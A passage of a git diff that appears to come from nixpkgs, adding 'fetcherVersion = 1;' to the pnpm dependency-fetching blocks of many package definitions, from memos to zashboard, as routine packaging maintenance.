diff --git a/pkgs/by-name/me/memos/package.nix b/pkgs/by-name/me/memos/package.nix
index f5285035ad3a..97e48f88b0d9 100644
--- a/pkgs/by-name/me/memos/package.nix
+++ b/pkgs/by-name/me/memos/package.nix
@@ -62,6 +62,7 @@ let
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/web";
       hash = "sha256-AyQYY1vtBB6DTcieC7nw5aOOVuwESJSDs8qU6PGyaTw=";
+      fetcherVersion = 1;
     };
     pnpmRoot = "web";
     nativeBuildInputs = [
diff --git a/pkgs/by-name/me/metacubexd/package.nix b/pkgs/by-name/me/metacubexd/package.nix
index 9a91ffca6e05..a56ad9d45d81 100644
--- a/pkgs/by-name/me/metacubexd/package.nix
+++ b/pkgs/by-name/me/metacubexd/package.nix
@@ -25,6 +25,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-PmVMNSYOffo8ExNIoTkDllRXF+Kau/6QBNkYQn1DKXE=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/mi/misskey/package.nix b/pkgs/by-name/mi/misskey/package.nix
index 6fe2fe4d4be5..2afc13a47762 100644
--- a/pkgs/by-name/mi/misskey/package.nix
+++ b/pkgs/by-name/mi/misskey/package.nix
@@ -49,6 +49,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-YWZhm5eKjB6JGP45WC3UrIkr7vuBUI4Q3oiK8Lst3dI=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
index 856faa41b314..747b703ae64c 100644
--- a/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
+++ b/pkgs/by-name/mo/modrinth-app-unwrapped/package.nix
@@ -37,6 +37,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-Q6e942R+3+511qFe4oehxdquw1TgaWMyOGOmP3me54o=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/mo/moonfire-nvr/package.nix b/pkgs/by-name/mo/moonfire-nvr/package.nix
index 2923cf1db51c..f28324dac034 100644
--- a/pkgs/by-name/mo/moonfire-nvr/package.nix
+++ b/pkgs/by-name/mo/moonfire-nvr/package.nix
@@ -33,6 +33,7 @@ let
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/ui";
       hash = "sha256-7fMhUFlV5lz+A9VG8IdWoc49C2CTdLYQlEgBSBqJvtw=";
+      fetcherVersion = 1;
     };
     installPhase = ''
       runHook preInstall
diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index c5341bd1bc91..12e4a6d63dab 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -28,6 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     hash = "sha256-vrSfrAnLc30kba+8VOPawdp8KaQVUhsD6mUq+YdAJTY=";
+    fetcherVersion = 1;
   };
 
   env = {
diff --git a/pkgs/by-name/n8/n8n/package.nix b/pkgs/by-name/n8/n8n/package.nix
index 611ee8b51793..181070830de7 100644
--- a/pkgs/by-name/n8/n8n/package.nix
+++ b/pkgs/by-name/n8/n8n/package.nix
@@ -29,6 +29,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-tYUbCAb2FI9NXyViDEYcpOST2LwZGx66Zwqy9sl2V1A=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/ni/ni/package.nix b/pkgs/by-name/ni/ni/package.nix
index fdbf18dfffad..c943ebba7215 100644
--- a/pkgs/by-name/ni/ni/package.nix
+++ b/pkgs/by-name/ni/ni/package.nix
@@ -25,6 +25,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-gDBjAwut217mdbWyk/dSU4JOkoRbOk4Czlb/lXhWqRU=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/oc/ocis/package.nix b/pkgs/by-name/oc/ocis/package.nix
index 41669e7cf9f8..a03c50f4734f 100644
--- a/pkgs/by-name/oc/ocis/package.nix
+++ b/pkgs/by-name/oc/ocis/package.nix
@@ -51,6 +51,7 @@ buildGoModule rec {
     inherit pname version src;
     sourceRoot = "${src.name}/services/idp";
     hash = "sha256-gNlN+u/bobnTsXrsOmkDcWs67D/trH3inT5AVQs3Brs=";
+    fetcherVersion = 1;
   };
   pnpmRoot = "services/idp";
 
diff --git a/pkgs/by-name/oc/ocis/web.nix b/pkgs/by-name/oc/ocis/web.nix
index def8a16b351d..14b407470371 100644
--- a/pkgs/by-name/oc/ocis/web.nix
+++ b/pkgs/by-name/oc/ocis/web.nix
@@ -37,6 +37,7 @@ stdenvNoCC.mkDerivation rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-3Erva6srdkX1YQ727trx34Ufx524nz19MUyaDQToz6M=";
+    fetcherVersion = 1;
   };
 
   meta = {
diff --git a/pkgs/by-name/ov/overlayed/webui.nix b/pkgs/by-name/ov/overlayed/webui.nix
index 482aeba5f2f4..952e7f9ff9e3 100644
--- a/pkgs/by-name/ov/overlayed/webui.nix
+++ b/pkgs/by-name/ov/overlayed/webui.nix
@@ -14,6 +14,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) src pname version;
     hash = "sha256-+yyxoodcDfqJ2pkosd6sMk77/71RDsGthedo1Oigwto=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/pa/paperless-ngx/package.nix b/pkgs/by-name/pa/paperless-ngx/package.nix
index 7d3935fa04e6..78813e20185a 100644
--- a/pkgs/by-name/pa/paperless-ngx/package.nix
+++ b/pkgs/by-name/pa/paperless-ngx/package.nix
@@ -70,6 +70,7 @@ let
       pnpmDeps = pnpm.fetchDeps {
         inherit pname version src;
         hash = "sha256-yoTXlxXLcWD2DMxqjb02ZORJ+E0xE1DbZm1VL7vXM4g=";
+        fetcherVersion = 1;
       };
 
       nativeBuildInputs =
diff --git a/pkgs/by-name/pa/parca/package.nix b/pkgs/by-name/pa/parca/package.nix
index 9f115f8dd184..4b3f3c4c239c 100644
--- a/pkgs/by-name/pa/parca/package.nix
+++ b/pkgs/by-name/pa/parca/package.nix
@@ -25,6 +25,7 @@ let
     pnpmDeps = pnpm_9.fetchDeps {
       inherit (finalAttrs) pname src version;
       hash = "sha256-MByoIJtynv38TFNVDdZWjkJJpABCjJU2wBrChxM2rdE=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/pd/pds/package.nix b/pkgs/by-name/pd/pds/package.nix
index 30617b82fe64..1cbbab0e78fe 100644
--- a/pkgs/by-name/pd/pds/package.nix
+++ b/pkgs/by-name/pd/pds/package.nix
@@ -51,6 +51,7 @@ stdenv.mkDerivation (finalAttrs: {
       sourceRoot
       ;
     hash = "sha256-+ESVGrgXNCQWOhqH4PM5lKQKcxE/5zxRmIboDZxgxcc=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/pg/pgrok/package.nix b/pkgs/by-name/pg/pgrok/package.nix
index 107c0c2fb3df..7dc9a44a034f 100644
--- a/pkgs/by-name/pg/pgrok/package.nix
+++ b/pkgs/by-name/pg/pgrok/package.nix
@@ -34,6 +34,7 @@ buildGoModule {
   env.pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-o6wxO8EGRmhcYggJnfxDkH+nbt+isc8bfHji8Hu9YKg=";
+    fetcherVersion = 1;
   };
 
   vendorHash = "sha256-nIxsG1O5RG+PDSWBcUWpk+4aFq2cYaxpkgOoDqLjY90=";
diff --git a/pkgs/by-name/pi/piped/package.nix b/pkgs/by-name/pi/piped/package.nix
index 3502f59f4f37..374063af3be6 100644
--- a/pkgs/by-name/pi/piped/package.nix
+++ b/pkgs/by-name/pi/piped/package.nix
@@ -29,6 +29,7 @@ buildNpmPackage rec {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit pname version src;
     hash = "sha256-WtZfRZFRV9I1iBlAoV69GGFjdiQhTSBG/iiEadPVcys=";
+    fetcherVersion = 1;
   };
 
   passthru.updateScript = unstableGitUpdater { };
diff --git a/pkgs/by-name/po/podman-desktop/package.nix b/pkgs/by-name/po/podman-desktop/package.nix
index 581a0573ce17..6fe82a967b53 100644
--- a/pkgs/by-name/po/podman-desktop/package.nix
+++ b/pkgs/by-name/po/podman-desktop/package.nix
@@ -61,6 +61,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-IjCO2mLDHhb1fB92plBAFcH1RpmOtiUGlFHEEAAHOJ8=";
+    fetcherVersion = 1;
   };
 
   patches = [
diff --git a/pkgs/by-name/po/porn-vault/package.nix b/pkgs/by-name/po/porn-vault/package.nix
index 4f529aade0b6..7dd5e251116c 100644
--- a/pkgs/by-name/po/porn-vault/package.nix
+++ b/pkgs/by-name/po/porn-vault/package.nix
@@ -52,6 +52,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-Xr9tRiP1hW+aFs9FnPvPkeJ0/LtJI57cjWY5bZQaRTQ=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/po/pot/package.nix b/pkgs/by-name/po/pot/package.nix
index 10098cccb472..5a1c84fba77c 100644
--- a/pkgs/by-name/po/pot/package.nix
+++ b/pkgs/by-name/po/pot/package.nix
@@ -42,6 +42,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-iYQNGRWqXYBU+WIH/Xm8qndgOQ6RKYCtAyi93kb7xrQ=";
+    fetcherVersion = 1;
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/pr/prisma/package.nix b/pkgs/by-name/pr/prisma/package.nix
index d82d9a8fa5ff..3bcae8fba8be 100644
--- a/pkgs/by-name/pr/prisma/package.nix
+++ b/pkgs/by-name/pr/prisma/package.nix
@@ -33,6 +33,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-dhEpn0oaqZqeiRMfcSiaqhud/RsKd6Wm5RR5iyQp1I8=";
+    fetcherVersion = 1;
   };
 
   patchPhase = ''
diff --git a/pkgs/by-name/qu/quantframe/package.nix b/pkgs/by-name/qu/quantframe/package.nix
index c175469262c6..6a622cb21655 100644
--- a/pkgs/by-name/qu/quantframe/package.nix
+++ b/pkgs/by-name/qu/quantframe/package.nix
@@ -42,6 +42,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-3IHwwbl1aH3Pzh9xq2Jfev9hj6/LXZaVaIJOPbgsquE=";
+    fetcherVersion = 1;
   };
 
   useFetchCargoVendor = true;
diff --git a/pkgs/by-name/re/readest/package.nix b/pkgs/by-name/re/readest/package.nix
index 5f065bca0b18..d7e8729ca6d0 100644
--- a/pkgs/by-name/re/readest/package.nix
+++ b/pkgs/by-name/re/readest/package.nix
@@ -40,6 +40,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-Bd+7MHYBMo4N7UpwkXGmk4oQBbyBMJOtnv6iTVQgn64=";
+    fetcherVersion = 1;
   };
 
   pnpmRoot = "../..";
diff --git a/pkgs/by-name/re/renovate/package.nix b/pkgs/by-name/re/renovate/package.nix
index e84299018587..ce7eddb6600d 100644
--- a/pkgs/by-name/re/renovate/package.nix
+++ b/pkgs/by-name/re/renovate/package.nix
@@ -40,6 +40,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-2F4vcdu2f0yh+hvs1WWM6MsWv2mmUUhzFVWN3BQvfNk=";
+    fetcherVersion = 1;
   };
 
   env.COREPACK_ENABLE_STRICT = 0;
diff --git a/pkgs/by-name/rm/rmfakecloud/package.nix b/pkgs/by-name/rm/rmfakecloud/package.nix
index 30a1709b67a5..da58d05dbad6 100644
--- a/pkgs/by-name/rm/rmfakecloud/package.nix
+++ b/pkgs/by-name/rm/rmfakecloud/package.nix
@@ -29,6 +29,7 @@ buildGoModule rec {
     sourceRoot = "${src.name}/ui";
     pnpmLock = "${src}/ui/pnpm-lock.yaml";
     hash = "sha256-VNmCT4um2W2ii8jAm+KjQSjixYEKoZkw7CeRwErff/o=";
+    fetcherVersion = 1;
   };
   preBuild = lib.optionals enableWebui ''
     # using sass-embedded fails at executing node_modules/sass-embedded-linux-x64/dart-sass/src/dart
diff --git a/pkgs/by-name/rq/rquickshare/package.nix b/pkgs/by-name/rq/rquickshare/package.nix
index 0c4f9ac5edf2..a1fcb7c53e1d 100644
--- a/pkgs/by-name/rq/rquickshare/package.nix
+++ b/pkgs/by-name/rq/rquickshare/package.nix
@@ -65,6 +65,7 @@ rustPlatform.buildRustPackage rec {
       ;
     postPatch = "cd ${pnpmRoot}";
     hash = app-type-either "sha256-V46V/VPwCKEe3sAp8zK0UUU5YigqgYh1GIOorqIAiNE=" "sha256-8QRigYNtxirXidFFnTzA6rP0+L64M/iakPqe2lZKegs=";
+    fetcherVersion = 1;
   };
 
   useFetchCargoVendor = true;
diff --git a/pkgs/by-name/rs/rsshub/package.nix b/pkgs/by-name/rs/rsshub/package.nix
index 159dee479fd0..d9121ef6d829 100644
--- a/pkgs/by-name/rs/rsshub/package.nix
+++ b/pkgs/by-name/rs/rsshub/package.nix
@@ -31,6 +31,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-7qh6YZbIH/kHVssDZxHY7X8bytrnMcUq0MiJzWZYItc=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sa/satisfactorymodmanager/package.nix b/pkgs/by-name/sa/satisfactorymodmanager/package.nix
index db3b6e1414a5..bdb1fa77f346 100644
--- a/pkgs/by-name/sa/satisfactorymodmanager/package.nix
+++ b/pkgs/by-name/sa/satisfactorymodmanager/package.nix
@@ -56,6 +56,7 @@ buildGoModule rec {
       inherit pname version src;
       sourceRoot = "${src.name}/frontend";
       hash = "sha256-OP+3zsNlvqLFwvm2cnBd2bj2Kc3EghQZE3hpotoqqrQ=";
+      fetcherVersion = 1;
     };
 
     pnpmRoot = "frontend";
diff --git a/pkgs/by-name/sh/shadcn/package.nix b/pkgs/by-name/sh/shadcn/package.nix
index 9135d1b5dd0b..02f73aace615 100644
--- a/pkgs/by-name/sh/shadcn/package.nix
+++ b/pkgs/by-name/sh/shadcn/package.nix
@@ -29,6 +29,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       pnpmWorkspaces
       ;
     hash = "sha256-/80LJm65ZRqyfhsNqGl83bsI2wjgVkvrA6Ij4v8rtoQ=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 19a1f9931c77..05fa3157f117 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -67,6 +67,7 @@ let
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname src version;
       hash = "sha256-cT7Ixl/V/mesPHvJUsG63Y/wXwKjbjkjdjP3S7uEOa0=";
+      fetcherVersion = 1;
     };
 
     strictDeps = true;
@@ -121,6 +122,7 @@ stdenv.mkDerivation (finalAttrs: {
         "sha256-ry7s9fbKx4e1LR8DlI2LIJY9GQrxmU7JQt+3apJGw/M="
       else
         "sha256-AkrfugpNvk4KgesRLQbso8p5b96Dg174R9/xuP4JtJg=";
+    fetcherVersion = 1;
   };
 
   env = {
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 6f53f67100ca..14f9e1866e55 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -23,6 +23,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-regaYG+SDvIgdnHQVR1GG1A1FSBXpzFfLuyTEdMt1kQ=";
+    fetcherVersion = 1;
   };
 
   cargoRoot = "deps/extension";
diff --git a/pkgs/by-name/si/siyuan/package.nix b/pkgs/by-name/si/siyuan/package.nix
index 2f731da1646f..0ef4c064caf0 100644
--- a/pkgs/by-name/si/siyuan/package.nix
+++ b/pkgs/by-name/si/siyuan/package.nix
@@ -90,6 +90,7 @@ stdenv.mkDerivation (finalAttrs: {
       sourceRoot
       ;
     hash = "sha256-5KqMmpcI+4iy3Ff72D8aUvhPttW2vwTI8aTwXBJ7sqo=";
+    fetcherVersion = 1;
   };
 
   sourceRoot = "${finalAttrs.src.name}/app";
diff --git a/pkgs/by-name/sk/sketchybar-app-font/package.nix b/pkgs/by-name/sk/sketchybar-app-font/package.nix
index 21f215f363c7..025b67dded53 100644
--- a/pkgs/by-name/sk/sketchybar-app-font/package.nix
+++ b/pkgs/by-name/sk/sketchybar-app-font/package.nix
@@ -21,6 +21,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-NGAgueJ+cuK/csjdf94KNklu+Xf91BHoWKVgEctX6eA=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sl/slimevr/package.nix b/pkgs/by-name/sl/slimevr/package.nix
index 21c6ac44c3b7..64fbba72885f 100644
--- a/pkgs/by-name/sl/slimevr/package.nix
+++ b/pkgs/by-name/sl/slimevr/package.nix
@@ -40,6 +40,7 @@ rustPlatform.buildRustPackage rec {
     pname = "${pname}-pnpm-deps";
     inherit version src;
     hash = "sha256-xCID9JOFEswsTbE5Dh6ZAkhhyy4eMuqkme54IdWfcks=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/st/stylelint-lsp/package.nix b/pkgs/by-name/st/stylelint-lsp/package.nix
index 2f52bc167ea8..4ab98700ce28 100644
--- a/pkgs/by-name/st/stylelint-lsp/package.nix
+++ b/pkgs/by-name/st/stylelint-lsp/package.nix
@@ -29,6 +29,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-PVA6sXbiuxqvi9u3sPoeVIJSSpSbFQHQQnTFO3w31WE=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/su/surrealist/package.nix b/pkgs/by-name/su/surrealist/package.nix
index 175366a2c8fe..0db0a73b153d 100644
--- a/pkgs/by-name/su/surrealist/package.nix
+++ b/pkgs/by-name/su/surrealist/package.nix
@@ -68,6 +68,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-oreeV9g16/F7JGLApi0Uq+vTqNhIg7Lg1Z4k00RUOYI=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sy/synchrony/package.nix b/pkgs/by-name/sy/synchrony/package.nix
index fdc86661cbfb..bae597725037 100644
--- a/pkgs/by-name/sy/synchrony/package.nix
+++ b/pkgs/by-name/sy/synchrony/package.nix
@@ -28,6 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-+hS4UK7sncCxv6o5Yl72AeY+LSGLnUTnKosAYB6QsP0=";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/sy/syncyomi/package.nix b/pkgs/by-name/sy/syncyomi/package.nix
index 0765c78a7335..b3944784c853 100644
--- a/pkgs/by-name/sy/syncyomi/package.nix
+++ b/pkgs/by-name/sy/syncyomi/package.nix
@@ -34,6 +34,7 @@ buildGoModule rec {
         sourceRoot
         ;
       hash = "sha256-edcZIqshnvM3jJpZWIR/UncI0VCMLq26h/n3VvV/384=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tabby-agent/package.nix b/pkgs/by-name/ta/tabby-agent/package.nix
index dfd7fcc01642..53defaa61300 100644
--- a/pkgs/by-name/ta/tabby-agent/package.nix
+++ b/pkgs/by-name/ta/tabby-agent/package.nix
@@ -49,6 +49,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-cdbmEgwHA+2/nfc8gaLAsCxLH0FNEQ0hjfRzQvngLKI=";
+    fetcherVersion = 1;
   };
 
   passthru.updateScript = nix-update-script {
diff --git a/pkgs/by-name/ta/tailwindcss-language-server/package.nix b/pkgs/by-name/ta/tailwindcss-language-server/package.nix
index 2a3d43c70141..6a615835434a 100644
--- a/pkgs/by-name/ta/tailwindcss-language-server/package.nix
+++ b/pkgs/by-name/ta/tailwindcss-language-server/package.nix
@@ -30,6 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
       prePnpmInstall
       ;
     hash = "sha256-f7eNBQl6/qLE7heoCFnYpjq57cjZ9pwT9Td4WmY1oag=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/taler-wallet-core/package.nix b/pkgs/by-name/ta/taler-wallet-core/package.nix
index e136588b3726..eb86a73f1a0c 100644
--- a/pkgs/by-name/ta/taler-wallet-core/package.nix
+++ b/pkgs/by-name/ta/taler-wallet-core/package.nix
@@ -57,6 +57,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-pLe5smsXdzSBgz/OYNO5FVEI2L6y/p+jMxEkzqUaX34=";
+    fetcherVersion = 1;
   };
 
   buildInputs = [ nodejs_20 ];
diff --git a/pkgs/by-name/ta/taze/package.nix b/pkgs/by-name/ta/taze/package.nix
index a36cb0aad6cf..76c9b8b8560b 100644
--- a/pkgs/by-name/ta/taze/package.nix
+++ b/pkgs/by-name/ta/taze/package.nix
@@ -25,6 +25,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs) pname version src;
     hash = "sha256-aUMV2REINp5LDcj1s8bgQAj/4508UEewu+ebD+JT0+M=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index 0f8be9b81afa..4b3667ba21e3 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -74,6 +74,7 @@ let
     pnpmDeps = pnpm_10.fetchDeps {
       inherit src pname version;
       hash = pnpmHash;
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/ty/typespec/package.nix b/pkgs/by-name/ty/typespec/package.nix
index 97adcd8bb595..d78bc9ebd677 100644
--- a/pkgs/by-name/ty/typespec/package.nix
+++ b/pkgs/by-name/ty/typespec/package.nix
@@ -39,6 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       postPatch
       ;
     hash = "sha256-9RQZ2ycu78W3Ie6MLpo6x7Sa/iYsUdq5bYed56mOPxs=";
+    fetcherVersion = 1;
   };
 
   postPatch = ''
diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index c6498b649e54..440ebab7b0c6 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname src;
     hash = "sha256-hO6QKRr4jTfesRDAEGcpFeJmGTGLGMw6EgIvD23DNzw=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ve/vesktop/package.nix b/pkgs/by-name/ve/vesktop/package.nix
index de1b9f02c052..a9a48dc3e768 100644
--- a/pkgs/by-name/ve/vesktop/package.nix
+++ b/pkgs/by-name/ve/vesktop/package.nix
@@ -41,6 +41,7 @@ stdenv.mkDerivation (finalAttrs: {
       patches
       ;
     hash = "sha256-C05rDd5bcbR18O6ACgzS0pQdWzB99ulceOBpW+4Zbqw=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/vi/vikunja/package.nix b/pkgs/by-name/vi/vikunja/package.nix
index 1096639899de..c703e6eca8f9 100644
--- a/pkgs/by-name/vi/vikunja/package.nix
+++ b/pkgs/by-name/vi/vikunja/package.nix
@@ -37,6 +37,7 @@ let
         sourceRoot
         ;
       hash = "sha256-94ZlywOZYmW/NsvE0dtEA81MeBWGUrJsBXTUauuOmZM=";
+      fetcherVersion = 1;
     };
 
     nativeBuildInputs = [
diff --git a/pkgs/by-name/vo/voicevox/package.nix b/pkgs/by-name/vo/voicevox/package.nix
index ecbb2abd7703..9b373173828d 100644
--- a/pkgs/by-name/vo/voicevox/package.nix
+++ b/pkgs/by-name/vo/voicevox/package.nix
@@ -65,6 +65,7 @@ stdenv.mkDerivation (finalAttrs: {
     ];
 
     hash = "sha256-RKgqFmHQnjHS7yeUIbH9awpNozDOCCHplc/bmfxmMyg=";
+    fetcherVersion = 1;
   };
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/vt/vtsls/package.nix b/pkgs/by-name/vt/vtsls/package.nix
index a86289d68745..93a1318880e8 100644
--- a/pkgs/by-name/vt/vtsls/package.nix
+++ b/pkgs/by-name/vt/vtsls/package.nix
@@ -39,6 +39,7 @@ stdenv.mkDerivation (finalAttrs: {
       version
       ;
     hash = "sha256-xenPpKsIjEIyVeZDjwjLaBbpWLqWQDBaLLfyzxtrsTI=";
+    fetcherVersion = 1;
   };
 
   # Patches to get submodule sha from file instead of 'git submodule status'
diff --git a/pkgs/by-name/we/wealthfolio/package.nix b/pkgs/by-name/we/wealthfolio/package.nix
index c7ce95234a5a..9f98436ef745 100644
--- a/pkgs/by-name/we/wealthfolio/package.nix
+++ b/pkgs/by-name/we/wealthfolio/package.nix
@@ -30,6 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) src pname version;
     hash = "sha256-0mjflUoqVJzshgpmyk32+Br61nkvcSjmjN7nf+7ZXJE=";
+    fetcherVersion = 1;
   };
 
   cargoRoot = "src-tauri";
diff --git a/pkgs/by-name/wo/wox/package.nix b/pkgs/by-name/wo/wox/package.nix
index 03dc478adc34..1fa7c480353a 100644
--- a/pkgs/by-name/wo/wox/package.nix
+++ b/pkgs/by-name/wo/wox/package.nix
@@ -75,6 +75,7 @@ let
         sourceRoot
         ;
       hash = "sha256-4Xj6doUHFoZSwel+cPnr2m3rfvlxNmQCppm5gXGIEtU=";
+      fetcherVersion = 1;
     };
 
     buildPhase = ''
diff --git a/pkgs/by-name/wr/wrangler/package.nix b/pkgs/by-name/wr/wrangler/package.nix
index eed4d7d88552..4375981bb156 100644
--- a/pkgs/by-name/wr/wrangler/package.nix
+++ b/pkgs/by-name/wr/wrangler/package.nix
@@ -34,6 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
       postPatch
       ;
     hash = "sha256-OCxUhvPIPKSGTTeXaLmkErOBpYQ8mKmieUYj6qxuTK4=";
+    fetcherVersion = 1;
   };
   # pnpm packageManager version in workers-sdk root package.json may not match nixpkgs
   postPatch = ''
diff --git a/pkgs/by-name/za/zammad/package.nix b/pkgs/by-name/za/zammad/package.nix
index 5e994ac4b21a..16d9dd41c465 100644
--- a/pkgs/by-name/za/zammad/package.nix
+++ b/pkgs/by-name/za/zammad/package.nix
@@ -82,6 +82,7 @@ stdenvNoCC.mkDerivation {
     inherit pname src;
 
     hash = "sha256-mfdzb/LXQYL8kaQpWi9wD3OOroOOonDlJrhy9Dwl1no";
+    fetcherVersion = 1;
   };
 
   buildPhase = ''
diff --git a/pkgs/by-name/za/zashboard/package.nix b/pkgs/by-name/za/zashboard/package.nix
index c7f0ff8fb055..3cdaed574e47 100644
--- a/pkgs/by-name/za/zashboard/package.nix
+++ b/pkgs/by-name/za/zashboard/package.nix
@@ -26,6 +26,7 @@ stdenv.mkDerivation (finalAttrs: {
   pnpmDeps = pnpm_9.fetchDeps {
     inherit (finalAttrs) pname version src;
